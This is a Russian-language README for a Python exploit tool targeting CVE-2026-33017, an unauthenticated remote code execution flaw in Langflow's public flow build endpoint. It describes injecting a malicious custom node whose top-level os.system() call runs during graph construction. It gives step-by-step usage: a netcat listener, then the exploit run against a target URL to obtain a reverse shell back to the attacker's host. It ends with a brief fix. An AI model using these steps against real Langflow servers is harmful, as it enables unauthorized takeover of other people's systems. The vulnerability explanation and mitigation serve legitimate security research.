
Эксплойт proof-of-concept на Python для CVE-2026-33017, уязвимости удаленного выполнения кода без аутентификации в Langflow. Доставляет обратную оболочку через внедрение вредоносного узла потока.
⚠️ ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: Этот репозиторий предназначен только для авторизованного тестирования безопасности и образовательных целей. Используйте только на системах, которыми вы владеете или на тестирование которых имеете явное разрешение. Автор не несет ответственности за любое неправомерное использование или ущерб, причиненный этим инструментом.
CVE-2026-33017 — это уязвимость неаутентифицированного удаленного выполнения кода в Langflow, визуальном фреймворке для создания приложений LangChain.
Конечная точка POST /api/v1/build_public_tmp/{flow_id}/flow позволяет создавать публичные потоки без аутентификации. Если передан необязательный параметр data, конечная точка использует управляемые атакующим данные потока (содержащие произвольный код Python в определениях узлов) вместо сохраненных данных потока из базы данных. Этот код передается в exec() без какой-либо изоляции, что приводит к неаутентифицированному удаленному выполнению кода.
client_id (любое произвольное строковое значение)git clone https://github.com/<your-username>/CVE-2026-33017.git
cd CVE-2026-33017
pip install requests
На вашей атакующей машине запустите netcat-слушатель для получения обратного шелла:
nc -lvnp 4444
python3 CVE-2026-33017.py --url http://target:7860 --flow-id <UUID> --lhost <YOUR_IP> --lport 4444
| Аргумент | Обязательный | Описание |
|---|---|---|
--url | Да | Целевой URL (например, http://localhost:7860) |
--flow-id | Да | UUID публичного потока |
--lhost | Да | IP-адрес вашего слушателя |
--lport | Да | Порт вашего слушателя |
--timeout | Нет | Тайм-аут запроса в секундах (по умолчанию: 15) |
# Терминал 1: Запуск слушателя
nc -lvnp 4444
# Терминал 2: Запуск эксплойта
python3 CVE-2026-33017.py \
--url http://192.168.1.100:7860 \
--flow-id 550e8400-e29b-41d4-a716-446655440000 \
--lhost 10.0.0.5 \
--lport 4444
craft_malicious_node() — Создает вредоносный узел Langflow, содержащий CustomComponent с управляемым атакующим кодом Python. Код включает вызов os.system() верхнего уровня, который выполняется во время построения графа (еще до того, как поток «запустится»).
fire_payload() — Отправляет вредоносный узел в формате JSON на неаутентифицированную конечную точку build_public_tmp со случайным cookie client_id.
Выполнение кода — Сервер обрабатывает предоставленные атакующим данные потока, создает экземпляр пользовательского компонента и вызывает exec() для встроенного кода во время prepare_global_scope(). Присваивание верхнего уровня _r = __import__('os').system(...) немедленно запускает выполнение команды.
Обратный шелл — Полезная нагрузка порождает обратный шелл Python, подключающийся обратно к вашему слушателю.
Конечная точка build_public_tmp спроектирована как неаутентифицированная (для публичных потоков), но она некорректно принимает предоставленные атакующим данные потока через параметр data. Когда data предоставляется, она обходит сохраненные данные потока и передает управляемые атакующим узлы напрямую в построитель графа.
Удалите параметр data из build_public_tmp. Публичные потоки должны выполнять только свои сохраненные данные потока из базы данных, а не данные, предоставленные атакующим.
Этот проект предоставляется только для образовательных и авторизованных целей тестирования безопасности.